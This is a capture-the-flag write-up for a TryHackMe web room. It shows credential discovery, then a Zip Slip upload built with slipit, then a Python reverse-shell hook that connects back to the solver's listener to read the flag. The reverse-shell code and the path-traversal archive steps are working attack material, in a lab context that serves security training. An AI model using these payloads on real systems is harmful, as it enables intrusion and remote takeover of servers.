Information
Room#
- Name: The Hollow Shell
- Profile: tryhackme.com
- Difficulty: Medium
- Description: You find it on the beach: pretty, ordinary, the kind of thing nobody thinks to check. Slip something inside and hold it to your ear.

Write-up
Overview#
Install tools used in this WU on BlackArch Linux:
sudo pacman -S curl 7zip slipit rlwrap nmapLore#
ποΈ Concierge Briefing
You find it on the beach: pretty, ordinary, the kind of thing nobody thinks to check. Slip something inside and hold it to your ear.
The Byte Lotus beachfront lets guests personalise their in-room display by uploading a shell β a little souvenir pack of shoreline ambiance. Staff publish them through the Shoreline Display portal, and once a shell is "held to the room's ear" it plays its shore. Slip past what the portal forgets to check, and the shell answers with a shell of your own.
ποΈ TODAY'S ITINERARY
- [ ] Find the flag
Web discovery#
On the login page (http://10.128.128.13:5000/login), there is a HTML comment with credentials.
<!--
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Byte Lotus // internal display-manager portal
New on the floor team? IT seeds every property with the same
starter login until you set your own:
user: concierge
pass: EDITED
(rotate it from Settings on first sign-in β most people forget)
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
-->App discovery + guessing#
There is an upload form with the following instructions:
Found something on the beach? Upload it as a shell (a .zip souvenir pack) to set the ambiance on the in-room tablets. Each shell must contain a shell.json manifest listing its assets (images, stylesheets).
A shell may include optional automation hooks β the theme worker applies these for you shortly after the shell comes ashore, so you don't have to touch each tablet by hand. Allowed asset types: png jpg gif svg css json.
We don't have instruction what the structure of the zip or shell.json should look like.
I tried a shell.json like that:
{
"images": [
"archlinux-logo-dark-scalable.518881f04ca9.svg"
],
"stylesheets": [
"shell.css"
]
}A CSS file:
body {
background-image: url("archlinux-logo-dark-scalable.518881f04ca9.svg");
}And a random SVG image, all that flat in a ZIP archive:
7z a shell.zip shell.json shell.css archlinux-logo-dark-scalable.518881f04ca9.svgWhen uploading, I get this error, which will give the JSON schema by error and retry:
Shell rejected: shell.json is missing a 'name'
I just added a name and re-uploaded.
{
"name": "noraj's theme",
"images": [
"archlinux-logo-dark-scalable.518881f04ca9.svg"
],
"stylesheets": [
"shell.css"
]
}This time it seems it was accepted, the message is the following:
Shell 'noraj's theme' brought ashore. Stored at shells/b37257e694c4/ and held to the room's ear.
Unzipped files are directly availables, e.g. http://10.128.128.13:5000/shells/b37257e694c4/shell.json
I tried to add an unauthorized file type in the archive, a dummy test.py. It was not refused and was available. So as long as it's not listed in the assets list in shell.json, it seems it won't be denied.
Based on the headers, we should expect a python server.
$ curl -I http://10.128.128.13:5000/dashboard -s | grep Server
Server: gunicornHowever, the uploaded http://10.128.128.13:5000/shells/df0358dad62b/test.py was not interpreted.
Zip Slip#
Let's try slipit to create a Zip Slip archive.
I updated the existing shell.zip archive to add the python script at the web root.
slipit shell.zip --archive-type zip --depth 2 --separator '/' test.pyLet's check:
$ 7z l shell.zip
[β¦]
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2026-08-08 17:25:16 ..... 8771 3444 archlinux-logo-dark-scalable.518881f04ca9.svg
2026-08-08 17:26:45 ..... 82 82 shell.css
2026-08-08 18:23:47 ..... 160 132 shell.json
2026-08-08 17:43:14 ..... 14 14 test.py
2026-08-08 17:43:14 ..... 14 14 ../../test.py
------------------- ----- ------------ ------------ ------------------------
2026-08-08 18:23:47 9041 3686 5 filesIt did not work, maybe there are paths hidden by the controllers. Let's try incrementally.
slipit shell.zip --archive-type zip --depth 6 --separator '/' --increment 1 test.pyβ 7z l shell.zip
[β¦]
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2026-08-08 17:25:16 ..... 8771 3444 archlinux-logo-dark-scalable.518881f04ca9.svg
2026-08-08 17:26:45 ..... 82 82 shell.css
2026-08-08 18:23:47 ..... 160 132 shell.json
2026-08-08 17:43:14 ..... 14 14 test.py
2026-08-08 17:43:14 ..... 14 14 ../test.py
2026-08-08 17:43:14 ..... 14 14 ../../test.py
2026-08-08 17:43:14 ..... 14 14 ../../../test.py
2026-08-08 17:43:14 ..... 14 14 ../../../../test.py
2026-08-08 17:43:14 ..... 14 14 ../../../../../test.py
2026-08-08 17:43:14 ..... 14 14 ../../../../../../test.py
------------------- ----- ------------ ------------ ------------------------
2026-08-08 18:23:47 9111 3756 10 filesStill no /test.py, however it triggersan error 500.
With a ../test.py the dashboard now lists a theme named test.py located at shells/test.py/, so the zip slip worked to write in /shells/ but we were not able to retrieve the uploaded test.py.
Since it's a python server, we could guess it's using Flask. Then a default Flask project layout could look like:
my_flask_app/ # Root directory (project name)
βββ app/ # Main application package (Flask app)
β βββ __init__.py # Flask app factory (initializes app)
β βββ routes.py # Route definitions (blueprints optional)
β βββ models.py # Database models (SQLAlchemy)
β βββ forms.py # WTForms or other form handling
β βββ static/ # Static files (CSS, JS, images)
β β βββ css/
β β βββ js/
β β βββ images/
β βββ templates/ # Jinja2 templates
β β βββ base.html # Base template (extended by others)
β β βββ index.html
β β βββ ...
β βββ utils.py # Helper functions
β
βββ config.py # Configuration settings (dev/prod)
βββ requirements.txt # Python dependencies
βββ run.py # Entry point to run the app
βββ tests/ # Unit/integration tests
βββ __init__.py
βββ test_routes.py
βββ ...Let's try writing some random stuff in static/ to confirm the Zip Slip for good.
slipit shell.zip --archive-type zip --depth 2 --separator '/' --static 'noraj confirms zip slip' --prefix 'static/' whatever.css Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2026-08-08 17:25:16 ..... 8771 3444 archlinux-logo-dark-scalable.518881f04ca9.svg
2026-08-08 17:26:45 ..... 82 82 shell.css
2026-08-08 18:43:34 ..... 163 131 shell.json
2026-08-08 18:46:06 ..... 23 23 ../../static/whatever.css
------------------- ----- ------------ ------------ ------------------------
2026-08-08 18:46:06 9039 3680 4 filesZip slip confirmed:
β curl http://10.128.128.13:5000/static/whatever.css
noraj confirms zip slipMore guessing + Zip Slip to RCE#
The description talked about automation hooks, so let's guess there is a hooks/ folder that will accepts any Python script and execute it? (yes that makes a lot of guessing in one sentence)
As it will be blind, we need a revershell (or a callback) directly to confirm the theory.
hook.py
import socket,subprocess,os,pty
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.130.181",8080))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/bash")Preparing the final archive:
slipit shell.zip --archive-type zip --depth 2 --separator '/' --prefix 'hooks/' hook.pyβ 7z l shell.zip
[β¦]
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2026-08-08 17:25:16 ..... 8771 3444 archlinux-logo-dark-scalable.518881f04ca9.svg
2026-08-08 17:26:45 ..... 82 82 shell.css
2026-08-08 19:33:29 ..... 153 124 shell.json
2026-08-08 19:32:58 ..... 207 207 ../../hooks/hook.py
------------------- ----- ------------ ------------ ------------------------
2026-08-08 19:33:29 9213 3857 4 filesNow let's wait for a few minutes and see if we get a shell back.
Flag#
β rlwrap ncat -nlvp 8080
Ncat: Version 7.99 ( https://nmap.org/ncat )
Ncat: Listening on [::]:8080
Ncat: Listening on 0.0.0.0:8080
Ncat: Connection from 10.128.128.13:35912.
roomservice@tryhackme-2404:/var/www/conch$ id
uid=996(roomservice) gid=996(roomservice) groups=996(roomservice)
roomservice@tryhackme-2404:/var/www/conch$ ls -lhA
total 44K
drwxr-xr-x 2 roomservice roomservice 4.0K Jun 22 12:00 __pycache__
-rw-r--r-- 1 roomservice roomservice 4.7K Jun 22 10:22 app.py
drwxr-xr-x 2 roomservice roomservice 4.0K Aug 8 17:37 hooks
-rw-r--r-- 1 roomservice roomservice 30 Jun 22 10:29 requirements.txt
drwxr-xr-x 12 roomservice roomservice 4.0K Aug 8 17:37 shells
drwxr-xr-x 2 roomservice roomservice 4.0K Aug 8 16:47 static
drwxr-xr-x 2 roomservice roomservice 4.0K Jun 22 10:33 templates
-rw-r--r-- 1 roomservice roomservice 14 Aug 8 16:33 test.py
-rw-r--r-- 1 roomservice roomservice 1.2K Jun 22 10:28 theme_worker.py
drwxr-xr-x 5 roomservice roomservice 4.0K Jun 22 10:45 venv
roomservice@tryhackme-2404:/var/www/conch$ ls /home
roomservice ubuntu
roomservice@tryhackme-2404:/var/www/conch$ ls /home/roomservice
flag.txt
roomservice@tryhackme-2404:/var/www/conch$ cat /home/roomservice/flag.txt
THM{EDITED}